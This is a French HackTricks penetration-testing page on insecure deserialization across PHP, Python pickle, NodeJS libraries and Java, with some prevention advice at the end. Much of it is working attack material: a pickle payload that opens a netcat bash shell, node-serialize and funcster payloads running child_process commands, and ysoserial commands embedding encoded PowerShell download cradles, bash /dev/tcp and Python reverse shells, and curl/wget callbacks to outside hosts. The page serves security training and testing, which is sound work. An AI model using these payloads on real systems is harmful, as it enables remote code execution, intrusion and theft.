# Désérialisation
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Informations de base La **sérialisation** est comprise comme la méthode de conversion d'un objet dans un format pouvant être préservé, dans le but de stocker l'objet ou de le transmettre dans le cadre d'un processus de communication. Cette technique est couramment utilisée pour garantir que l'objet puisse être recréé ultérieurement, en conservant sa structure et son état. La **désérialisation**, en revanche, est le processus qui contrecarre la sérialisation. Il consiste à prendre des données structurées dans un format spécifique et à les reconstruire en un objet. La désérialisation peut être dangereuse car elle **permet potentiellement aux attaquants de manipuler les données sérialisées pour exécuter un code malveillant** ou provoquer un comportement inattendu dans l'application lors du processus de reconstruction de l'objet. ## PHP En PHP, des méthodes magiques spécifiques sont utilisées lors des processus de sérialisation et de désérialisation : * `__sleep` : Appelée lorsqu'un objet est sérialisé. Cette méthode doit renvoyer un tableau contenant les noms de toutes les propriétés de l'objet qui doivent être sérialisées. Elle est couramment utilisée pour valider les données en attente ou effectuer des tâches de nettoyage similaires. * `__wakeup` : Appelée lorsqu'un objet est désérialisé. Elle est utilisée pour rétablir les connexions à la base de données qui auraient pu être perdues lors de la sérialisation et effectuer d'autres tâches de réinitialisation. * `__unserialize` : Cette méthode est appelée à la place de `__wakeup` (si elle existe) lorsqu'un objet est désérialisé. Elle offre plus de contrôle sur le processus de désérialisation par rapport à `__wakeup`. * `__destruct` : Cette méthode est appelée lorsqu'un objet est sur le point d'être détruit ou lorsque le script se termine. Elle est généralement utilisée pour des tâches de nettoyage, comme la fermeture des gestionnaires de fichiers ou des connexions à la base de données. * `__toString` : Cette méthode permet à un objet d'être traité comme une chaîne de caractères. Elle peut être utilisée pour lire un fichier ou d'autres tâches basées sur les appels de fonctions à l'intérieur, fournissant ainsi une représentation textuelle de l'objet. ```php s.'
'; } public function __toString() { echo '__toString method called'; } public function __construct(){ echo "__construct method called"; } public function __destruct(){ echo "__destruct method called"; } public function __wakeup(){ echo "__wakeup method called"; } public function __sleep(){ echo "__sleep method called"; return array("s"); #The "s" makes references to the public attribute } } $o = new test(); $o->displaystring(); $ser=serialize($o); echo $ser; $unser=unserialize($ser); $unser->displaystring(); /* php > $o = new test(); __construct method called __destruct method called php > $o->displaystring(); This is a test
php > $ser=serialize($o); __sleep method called php > echo $ser; O:4:"test":1:{s:1:"s";s:14:"This is a test";} php > $unser=unserialize($ser); __wakeup method called __destruct method called php > $unser->displaystring(); This is a test
*/ ?> ``` Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous verrez que la fonction **`__toString`** est appelée lors de la tentative d'impression d'un attribut, mais apparemment cela **n'arrive plus**. {% hint style="warning" %} La méthode **`__unserialize(array $data)`** est appelée **au lieu de `__wakeup()`** si elle est implémentée dans la classe. Cela vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer les tâches nécessaires lors de la désérialisation. ```php class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } } ``` {% endhint %} Vous pouvez lire un exemple **PHP expliqué ici** : [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ici [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou ici [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP Deserial + Autoload Classes Vous pourriez abuser de la fonctionnalité d'autoload PHP pour charger des fichiers PHP arbitraires et plus encore : {% content-ref url="php-deserialization-+-autoload-classes.md" %} [php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md) {% endcontent-ref %} ### Sérialisation de valeurs référencées Si pour une raison quelconque vous souhaitez sérialiser une valeur comme une **référence à une autre valeur sérialisée**, vous pouvez le faire : ```php param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` ### PHPGGC (ysoserial for PHP) [**PHPGGC**](https://github.com/ambionics/phpggc) peut vous aider à générer des charges utiles pour abuser des désérialisations PHP.\ Notez que dans plusieurs cas, vous **ne pourrez pas trouver de moyen d'abuser d'une désérialisation dans le code source** de l'application mais vous pourriez être en mesure d'**abuser du code des extensions PHP externes.**\ Donc, si possible, vérifiez le `phpinfo()` du serveur et **recherchez sur internet** (et même sur les **gadgets** de **PHPGGC**) des gadgets possibles que vous pourriez exploiter. ### Désérialisation des métadonnées phar:// Si vous avez trouvé une LFI qui se contente de lire le fichier et de ne pas exécuter le code PHP à l'intérieur, par exemple en utilisant des fonctions telles que _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_. Vous pouvez essayer d'abuser d'une **désérialisation** se produisant lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\ Pour plus d'informations, lisez l'article suivant : {% content-ref url="../file-inclusion/phar-deserialization.md" %} [phar-deserialization.md](../file-inclusion/phar-deserialization.md) {% endcontent-ref %} ## Python ### **Pickle** Lorsque l'objet est dépicklé, la fonction _\_\_reduce\_\__ sera exécutée.\ Lorsqu'exploité, le serveur pourrait renvoyer une erreur. ```python import pickle, os, base64 class P(object): def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` Pour plus d'informations sur l'évasion des **prisons de pickle**, consultez : {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Yaml **&** jsonpickle La page suivante présente la technique pour **abuser d'une désérialisation non sécurisée dans les bibliothèques python yamls** et se termine par un outil qui peut être utilisé pour générer une charge utile de désérialisation RCE pour **Pickle, PyYAML, jsonpickle et ruamel.yaml** : {% content-ref url="python-yaml-deserialization.md" %} [python-yaml-deserialization.md](python-yaml-deserialization.md) {% endcontent-ref %} ### Pollution de classe (Pollution de prototype Python) {% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} [class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) {% endcontent-ref %} ## NodeJS ### Fonctions magiques JS JS **n'a pas de fonctions "magiques"** comme PHP ou Python qui vont être exécutées juste pour créer un objet. Mais il a certaines **fonctions** qui sont **fréquemment utilisées même sans les appeler directement** telles que **`toString`**, **`valueOf`**, **`toJSON`**.\ En abusant d'une désérialisation, vous pouvez **compromettre ces fonctions pour exécuter un autre code** (potentiellement en abusant des pollutions de prototype) vous pourriez exécuter du code arbitraire lorsqu'elles sont appelées. Une autre façon **"magique" d'appeler une fonction** sans l'appeler directement est en **compromettant un objet retourné par une fonction asynchrone** (promesse). Parce que, si vous **transformez** cet **objet retourné** en une autre **promesse** avec une **propriété** appelée **"then" de type fonction**, elle sera **exécutée** simplement parce qu'elle est retournée par une autre promesse. _Suivez_ [_**ce lien**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _pour plus d'informations._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: async function test_resolve() { const p = new Promise(resolve => { console.log('hello') resolve() }) return p } async function test_then() { const p = new Promise(then => { console.log('hello') return 1 }) return p } test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` ### Pollution de `__proto__` et `prototype` Si vous voulez en savoir plus sur cette technique, **consultez le tutoriel suivant**: {% content-ref url="nodejs-proto-prototype-pollution/" %} [nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/) {% endcontent-ref %} ### [node-serialize](https://www.npmjs.com/package/node-serialize) Cette bibliothèque permet de sérialiser des fonctions. Exemple: ```javascript var y = { "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}, } var serialize = require('node-serialize'); var payload_serialized = serialize.serialize(y); console.log("Serialized: \n" + payload_serialized); ``` L'**objet sérialisé** ressemblera à : ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée, le drapeau `_$$ND_FUNC$$_` est ajouté à l'objet sérialisé. À l'intérieur du fichier `node-serialize/lib/serialize.js`, vous pouvez trouver le même drapeau et comment le code l'utilise. ![](<../../.gitbook/assets/image (351).png>) ![](<../../.gitbook/assets/image (446).png>) Comme vous pouvez le voir dans le dernier morceau de code, **si le drapeau est trouvé**, `eval` est utilisé pour désérialiser la fonction, donc en gros **l'entrée utilisateur est utilisée à l'intérieur de la fonction `eval`**. Cependant, **simplement sérialiser** une fonction **ne l'exécutera pas** car il serait nécessaire qu'une partie du code appelle `y.rce` dans notre exemple et c'est très **improbable**.\ Quoi qu'il en soit, vous pourriez simplement **modifier l'objet sérialisé** **en ajoutant des parenthèses** afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.\ Dans le prochain morceau de code, **remarquez la dernière parenthèse** et comment la fonction `unserialize` exécutera automatiquement le code: ```javascript var serialize = require('node-serialize'); var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}; serialize.unserialize(test); ``` Comme indiqué précédemment, cette bibliothèque récupérera le code après `_$$ND_FUNC$$_` et l'**exécutera** en utilisant `eval`. Par conséquent, pour **auto-exécuter du code**, vous pouvez **supprimer la création de la fonction** et la dernière parenthèse et **simplement exécuter un JS oneliner** comme dans l'exemple suivant: ```javascript var serialize = require('node-serialize'); var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}'; serialize.unserialize(test); ``` Vous pouvez [**trouver ici**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **plus d'informations** sur la façon d'exploiter cette vulnérabilité. ### [funcster](https://www.npmjs.com/package/funcster) Un aspect notable de **funcster** est l'inaccessibilité des **objets intégrés standard**; ils se trouvent en dehors de la portée accessible. Cette restriction empêche l'exécution de code qui tente d'invoquer des méthodes sur des objets intégrés, entraînant des exceptions telles que `"ReferenceError: console is not defined"` lorsque des commandes comme `console.log()` ou `require(something)` sont utilisées. Malgré cette limitation, la restauration d'un accès complet au contexte global, y compris à tous les objets intégrés standard, est possible grâce à une approche spécifique. En exploitant directement le contexte global, il est possible de contourner cette restriction. Par exemple, l'accès peut être rétabli en utilisant l'extrait suivant: ```javascript funcster = require("funcster"); //Serialization var test = funcster.serialize(function() { return "Hello world!" }) console.log(test) // { __js_function: 'function(){return"Hello world!"}' } //Deserialization with auto-execution var desertest1 = { __js_function: 'function(){return "Hello world!"}()' } funcster.deepDeserialize(desertest1) var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' } funcster.deepDeserialize(desertest2) var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' } funcster.deepDeserialize(desertest3) ``` **Pour** [**plus d'informations, consultez cette source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) Le package **serialize-javascript** est conçu exclusivement à des fins de sérialisation, sans aucune capacité de désérialisation intégrée. Les utilisateurs sont responsables de mettre en œuvre leur propre méthode de désérialisation. Une utilisation directe de `eval` est suggérée par l'exemple officiel pour désérialiser des données sérialisées : ```javascript function deserialize(serializedJavascript){ return eval('(' + serializedJavascript + ')'); } ``` Si cette fonction est utilisée pour désérialiser des objets, vous pouvez **facilement l'exploiter** : ```javascript var serialize = require('serialize-javascript'); //Serialization var test = serialize(function() { return "Hello world!" }); console.log(test) //function() { return "Hello world!" } //Deserialization var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` **Pour** [**plus d'informations, consultez cette source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### Bibliothèque Cryo Sur les pages suivantes, vous trouverez des informations sur la manière d'abuser de cette bibliothèque pour exécuter des commandes arbitraires : * [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) * [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP En Java, **les rappels de désérialisation sont exécutés pendant le processus de désérialisation**. Cette exécution peut être exploitée par des attaquants qui créent des charges malveillantes déclenchant ces rappels, pouvant entraîner l'exécution potentielle d'actions nuisibles. ### Empreintes digitales #### Boîte Blanche Pour identifier les vulnérabilités potentielles de sérialisation dans le code source, recherchez : * Les classes qui implémentent l'interface `Serializable`. * L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshare`. Portez une attention particulière à : * `XMLDecoder` utilisé avec des paramètres définis par des utilisateurs externes. * La méthode `fromXML` de `XStream`, surtout si la version de XStream est inférieure ou égale à 1.46, car elle est sujette à des problèmes de sérialisation. * `ObjectInputStream` associé à la méthode `readObject`. * L'implémentation de méthodes telles que `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`. * `ObjectInputStream.readUnshared`. * L'utilisation générale de `Serializable`. #### Boîte Noire Pour les tests en boîte noire, recherchez des **signatures ou des "Magic Bytes"** spécifiques indiquant des objets sérialisés Java (provenant de `ObjectInputStream`) : * Motif hexadécimal : `AC ED 00 05`. * Motif Base64 : `rO0`. * En-têtes de réponse HTTP avec `Content-type` défini sur `application/x-java-serialized-object`. * Motif hexadécimal indiquant une compression préalable : `1F 8B 08 00`. * Motif Base64 indiquant une compression préalable : `H4sIA`. * Fichiers Web avec l'extension `.faces` et le paramètre `faces.ViewState`. Découvrir ces motifs dans une application Web devrait inciter à un examen détaillé comme décrit dans le [post sur la désérialisation de Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` ### Vérifier si vulnérable Si vous voulez **apprendre comment fonctionne une exploitation de désérialisation Java**, vous devriez jeter un œil à [**Désérialisation Java de base**](basic-java-deserialization-objectinputstream-readobject.md), [**Désérialisation Java DNS**](java-dns-deserialization-and-gadgetprobe.md), et [**Charge utile CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). #### Test de la boîte blanche Vous pouvez vérifier s'il y a une application installée avec des vulnérabilités connues. ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` Vous pourriez essayer de **vérifier toutes les bibliothèques** connues pour être vulnérables et pour lesquelles [**Ysoserial**](https://github.com/frohoff/ysoserial) peut fournir une exploitation. Ou vous pourriez vérifier les bibliothèques indiquées sur [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ Vous pourriez également utiliser [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) pour rechercher des chaînes de gadgets potentielles qui peuvent être exploitées.\ Lors de l'exécution de **gadgetinspector** (après l'avoir construit), ne vous souciez pas des tonnes d'avertissements/erreurs qu'il traverse et laissez-le terminer. Il écrira toutes les découvertes sous _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Veuillez noter que **gadgetinspector ne créera pas d'exploit et il peut indiquer des faux positifs**. #### Test de la boîte noire En utilisant l'extension Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), vous pouvez identifier **quelles bibliothèques sont disponibles** (et même les versions). Avec ces informations, il pourrait être **plus facile de choisir une charge utile** pour exploiter la vulnérabilité.\ [**Lisez ceci pour en savoir plus sur GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ GadgetProbe est axé sur les désérialisations de **`ObjectInputStream`**. En utilisant l'extension Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), vous pouvez **identifier les bibliothèques vulnérables** exploitables avec ysoserial et les **exploiter**.\ [**Lisez ceci pour en savoir plus sur Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner est axé sur les désérialisations de **`ObjectInputStream`**. Vous pouvez également utiliser [**Freddy**](https://github.com/nccgroup/freddy) pour **détecter les vulnérabilités de désérialisation** dans **Burp**. Ce plugin détectera les vulnérabilités non seulement liées à **`ObjectInputStream`** mais aussi aux vulnérabilités des bibliothèques de désérialisation **Json** et **Yml**. En mode actif, il essaiera de les confirmer en utilisant des charges utiles de sommeil ou de DNS.\ [**Vous pouvez trouver plus d'informations sur Freddy ici.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **Test de sérialisation** Tout ne consiste pas à vérifier si une bibliothèque vulnérable est utilisée par le serveur. Parfois, vous pourriez être en mesure de **modifier les données à l'intérieur de l'objet sérialisé et contourner certaines vérifications** (peut-être vous accorder des privilèges d'administrateur dans une application web).\ Si vous trouvez un objet sérialisé Java envoyé à une application web, **vous pouvez utiliser** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **pour afficher dans un format plus lisible par l'homme l'objet de sérialisation qui est envoyé**. Savoir quelles données vous envoyez faciliterait leur modification et le contournement de certaines vérifications. ### **Exploitation** #### **ysoserial** L'outil principal pour exploiter les désérialisations Java est [**ysoserial**](https://github.com/frohoff/ysoserial) ([**téléchargez ici**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Vous pouvez également envisager d'utiliser [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) qui vous permettra d'utiliser des commandes complexes (avec des tubes par exemple).\ Notez que cet outil est **axé** sur l'exploitation de **`ObjectInputStream`**.\ Je commencerais par utiliser la charge utile "URLDNS" **avant une charge utile RCE** pour tester si l'injection est possible. Quoi qu'il en soit, notez que peut-être la charge utile "URLDNS" ne fonctionne pas mais une autre charge utile RCE oui. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload # PoC RCE in Windows # Ping java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload # Time, I noticed the response too longer when this was used java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload # Create File java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload # DNS request java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net" # HTTP request (+DNS) java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA" ## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a') ## To encode something in Base64 for Windows PS from linux you can use: echo -n "" | iconv --to-code UTF-16LE | base64 -w0 # Reverse Shell ## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1') java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA" #PoC RCE in Linux # Ping java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload # Time ## Using time in bash I didn't notice any difference in the timing of the response # Create file java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload # DNS request java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" # HTTP request (+DNS) java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" # Reverse shell ## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0 ## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}" # Base64 encode payload in base64 base64 -w0 payload ``` Lors de la création d'une charge utile pour **java.lang.Runtime.exec()**, vous **ne pouvez pas utiliser de caractères spéciaux** tels que ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même **passer des arguments** à une commande séparés par des **espaces** (vous pouvez faire `echo -n "hello world"` mais vous ne pouvez pas faire `python2 -c 'print "Hello world"'`). Pour encoder correctement la charge utile, vous pouvez [utiliser cette page web](http://www.jackson-t.ca/runtime-exec-payloads.html). N'hésitez pas à utiliser le script suivant pour créer **toutes les charges utiles d'exécution de code possibles** pour Windows et Linux, puis les tester sur la page web vulnérable : ```python import os import base64 # You may need to update the payloads payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1'] def generate(name, cmd): for payload in payloads: final = cmd.replace('REPLACE', payload) print 'Generating ' + payload + ' for ' + name + '...' command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"') result = command.read() command.close() encoded = base64.b64encode(result) if encoded != "": open(name + '_intruder.txt', 'a').write(encoded + '\n') generate('Windows', 'ping -n 1 win.REPLACE.server.local') generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets Vous pouvez **utiliser** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **avec ysoserial pour créer plus d'exploits**. Plus d'informations sur cet outil dans les **diapositives de la présentation** où l'outil a été présenté : [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) #### marshalsec [**marshalsec** ](https://github.com/mbechler/marshalsec)peut être utilisé pour générer des charges utiles pour exploiter différentes bibliothèques de sérialisation **Json** et **Yml** en Java.\ Pour compiler le projet, j'ai dû **ajouter** ces **dépendances** à `pom.xml` : ```markup javax.activation activation 1.1.1 com.sun.jndi rmiregistry 1.2.1 pom ``` **Installer maven**, et **compiler** le projet : ```bash sudo apt-get install maven mvn clean package -DskipTests ``` #### FastJSON En savoir plus sur cette bibliothèque JSON Java : [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) ### Laboratoires * Si vous souhaitez tester certains payloads ysoserial, vous pouvez **exécuter cette application web** : [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) * [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Pourquoi Java utilise beaucoup la sérialisation à des fins diverses telles que : * **Requêtes HTTP** : La sérialisation est largement utilisée dans la gestion des paramètres, ViewState, cookies, etc. * **RMI (Invocation de Méthode à Distance)** : Le protocole Java RMI, qui repose entièrement sur la sérialisation, est un pilier pour la communication à distance dans les applications Java. * **RMI sur HTTP** : Cette méthode est couramment utilisée par les applications web clientes épaisses basées sur Java, utilisant la sérialisation pour toutes les communications d'objets. * **JMX (Extensions de Gestion Java)** : JMX utilise la sérialisation pour transmettre des objets sur le réseau. * **Protocoles Personnalisés** : En Java, la pratique standard implique la transmission d'objets Java bruts, ce qui sera démontré dans les exemples d'exploitation à venir. ### Prévention #### Objets Transitoires Une classe qui implémente `Serializable` peut déclarer comme `transient` tout objet à l'intérieur de la classe qui ne devrait pas être sérialisé. Par exemple : ```java public class myAccount implements Serializable { private transient double profit; // declared transient private transient double margin; // declared transient ``` #### Éviter la sérialisation d'une classe qui doit implémenter Serializable Dans les scénarios où certains **objets doivent implémenter l'interface `Serializable`** en raison de la hiérarchie de classes, il existe un risque de désérialisation involontaire. Pour éviter cela, assurez-vous que ces objets ne peuvent pas être désérialisés en définissant une méthode `readObject()` `final` qui lance systématiquement une exception, comme indiqué ci-dessous : ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` #### **Améliorer la sécurité de la désérialisation en Java** Personnaliser `java.io.ObjectInputStream` est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode est appropriée lorsque : * Le code de désérialisation est sous votre contrôle. * Les classes attendues pour la désérialisation sont connues. Remplacez la méthode **`resolveClass()`** pour limiter la désérialisation aux seules classes autorisées. Cela empêche la désérialisation de toute classe sauf celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe `Bicycle` uniquement : ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { public LookAheadObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * Only deserialize instances of our expected Bicycle class */ @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(Bicycle.class.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } } ``` **Utilisation d'un agent Java pour l'amélioration de la sécurité** offre une solution de secours lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement pour **mettre sur liste noire les classes nocives**, en utilisant un paramètre JVM : ``` -javaagent:name-of-agent.jar ``` Il fournit un moyen de sécuriser la désérialisation de manière dynamique, idéal pour les environnements où les 